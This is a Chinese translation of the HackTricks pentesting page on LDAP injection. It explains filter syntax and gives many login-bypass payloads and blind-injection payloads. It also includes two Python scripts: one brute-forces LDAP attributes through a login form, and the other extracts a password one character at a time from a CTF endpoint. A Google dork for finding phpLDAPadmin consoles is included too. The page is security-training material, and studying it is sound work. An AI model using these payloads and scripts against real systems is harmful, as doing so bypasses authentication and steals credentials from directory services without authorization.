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246 lines
8.9 KiB
Markdown
246 lines
8.9 KiB
Markdown
# LDAP 注入
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## LDAP 注入
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{% hint style="success" %}
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学习与实践 AWS 黑客技术：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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学习与实践 GCP 黑客技术：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>支持 HackTricks</summary>
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* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
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* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 **上关注我们** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
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* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
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</details>
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{% endhint %}
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<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
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如果你对 **黑客职业** 感兴趣并想要攻克不可攻克的目标 - **我们正在招聘！** (_需要流利的波兰语书写和口语能力_).
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{% embed url="https://www.stmcyber.com/careers" %}
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## LDAP 注入
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### **LDAP**
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**如果你想知道什么是 LDAP，请访问以下页面：**
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{% content-ref url="../network-services-pentesting/pentesting-ldap.md" %}
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[pentesting-ldap.md](../network-services-pentesting/pentesting-ldap.md)
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{% endcontent-ref %}
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**LDAP 注入** 是一种针对从用户输入构建 LDAP 语句的 Web 应用程序的攻击。当应用程序 **未能正确清理** 输入时，攻击者可以通过本地代理 **操纵 LDAP 语句**，这可能导致未经授权的访问或数据操纵。
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{% file src="../.gitbook/assets/EN-Blackhat-Europe-2008-LDAP-Injection-Blind-LDAP-Injection.pdf" %}
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**过滤器** = ( filtercomp )\
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**过滤组件** = and / or / not / item\
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**与** = & filterlist\
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**或** = |filterlist\
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**非** = ! filter\
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**过滤列表** = 1\*filter\
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**项目**= simple / present / substring\
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**简单** = attr filtertype assertionvalue\
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**过滤类型** = _'=' / '\~=' / '>=' / '<='_\
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**存在** = attr = \*\
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**子字符串** = attr ”=” \[initial] \* \[final]\
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**初始** = assertionvalue\
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**最终** = assertionvalue\
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**(&)** = 绝对真\
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**(|)** = 绝对假
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例如：\
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`(&(!(objectClass=Impresoras))(uid=s*))`\
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`(&(objectClass=user)(uid=*))`
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你可以访问数据库，这可能包含多种不同类型的信息。
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**OpenLDAP**：如果到达 2 个过滤器，只执行第一个。\
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**ADAM 或 Microsoft LDS**：有 2 个过滤器时会抛出错误。\
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**SunOne 目录服务器 5.0**：执行两个过滤器。
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**发送过滤器时使用正确的语法非常重要，否则会抛出错误。最好只发送 1 个过滤器。**
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过滤器必须以 `&` 或 `|` 开头。\
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示例： `(&(directory=val1)(folder=public))`
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`(&(objectClass=VALUE1)(type=Epson*))`\
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`VALUE1 = *)(ObjectClass=*))(&(objectClass=void`
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然后： `(&(objectClass=`**`*)(ObjectClass=*))`** 将是第一个过滤器（被执行的那个）。
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### 登录绕过
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LDAP 支持多种格式来存储密码：明文、md5、smd5、sh1、sha、crypt。因此，可能无论你在密码中插入什么，它都会被哈希处理。
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```bash
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user=*
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password=*
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--> (&(user=*)(password=*))
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# The asterisks are great in LDAPi
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```
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```bash
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user=*)(&
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password=*)(&
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--> (&(user=*)(&)(password=*)(&))
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```
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```bash
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user=*)(|(&
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pass=pwd)
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--> (&(user=*)(|(&)(pass=pwd))
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```
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```bash
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user=*)(|(password=*
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password=test)
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--> (&(user=*)(|(password=*)(password=test))
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```
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```bash
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user=*))%00
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pass=any
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--> (&(user=*))%00 --> Nothing more is executed
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```
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```bash
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user=admin)(&)
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password=pwd
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--> (&(user=admin)(&))(password=pwd) #Can through an error
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```
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```bash
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username = admin)(!(&(|
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pass = any))
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--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
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```
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```bash
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username=*
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password=*)(&
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--> (&(user=*)(password=*)(&))
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```
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```bash
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username=admin))(|(|
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password=any
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--> (&(uid=admin)) (| (|) (webpassword=any))
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```
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#### 列表
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* [LDAP\_FUZZ](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_FUZZ.txt)
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* [LDAP 属性](https://raw.githubusercontent.com/swisskyrepo/PayloadsAllTheThings/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)
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* [LDAP PosixAccount 属性](https://tldp.org/HOWTO/archived/LDAP-Implementation-HOWTO/schemas.html)
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### 隐蔽 LDAP 注入
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您可以强制返回 False 或 True 响应，以检查是否返回任何数据并确认可能的隐蔽 LDAP 注入：
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```bash
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#This will result on True, so some information will be shown
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Payload: *)(objectClass=*))(&objectClass=void
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Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))
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```
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```bash
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#This will result on True, so no information will be returned or shown
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Payload: void)(objectClass=void))(&objectClass=void
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Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))
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```
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#### Dump data
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您可以遍历 ASCII 字母、数字和符号：
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```bash
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(&(sn=administrator)(password=*)) : OK
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(&(sn=administrator)(password=A*)) : KO
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(&(sn=administrator)(password=B*)) : KO
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...
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(&(sn=administrator)(password=M*)) : OK
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(&(sn=administrator)(password=MA*)) : KO
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(&(sn=administrator)(password=MB*)) : KO
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...
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```
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### Scripts
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#### **发现有效的LDAP字段**
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LDAP对象**默认包含多个属性**，可以用来**保存信息**。你可以尝试**暴力破解所有这些属性以提取该信息。** 你可以在[**这里找到默认的LDAP属性列表**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/LDAP%20Injection/Intruder/LDAP\_attributes.txt)。
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```python
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#!/usr/bin/python3
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import requests
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import string
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from time import sleep
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import sys
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proxy = { "http": "localhost:8080" }
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url = "http://10.10.10.10/login.php"
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alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
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attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
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for attribute in attributes: #Extract all attributes
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value = ""
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finish = False
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while not finish:
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for char in alphabet: #In each possition test each possible printable char
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query = f"*)({attribute}={value}{char}*"
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data = {'login':query, 'password':'bla'}
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r = requests.post(url, data=data, proxies=proxy)
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sys.stdout.write(f"\r{attribute}: {value}{char}")
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#sleep(0.5) #Avoid brute-force bans
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if "Cannot login" in r.text:
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value += str(char)
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break
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if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
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finish = True
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print()
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```
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#### **特殊盲LDAP注入（不带“\*”）**
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```python
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#!/usr/bin/python3
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import requests, string
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alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"
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flag = ""
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for i in range(50):
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print("[i] Looking for number " + str(i))
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for char in alphabet:
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r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
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if ("TRUE CONDITION" in r.text):
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flag += char
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print("[+] Flag: " + flag)
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break
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```
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### Google Dorks
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```bash
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intitle:"phpLDAPadmin" inurl:cmd.php
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```
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### 更多有效载荷
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{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
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<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
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如果你对**黑客职业**感兴趣并想要攻克不可攻克的目标 - **我们正在招聘！**（_需要流利的波兰语书写和口语能力_）。
|
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|
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{% embed url="https://www.stmcyber.com/careers" %}
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{% hint style="success" %}
|
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学习与实践 AWS 黑客技术：<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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学习与实践 GCP 黑客技术：<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
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<details>
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<summary>支持 HackTricks</summary>
|
||
|
||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
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* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
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* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
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</details>
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{% endhint %}
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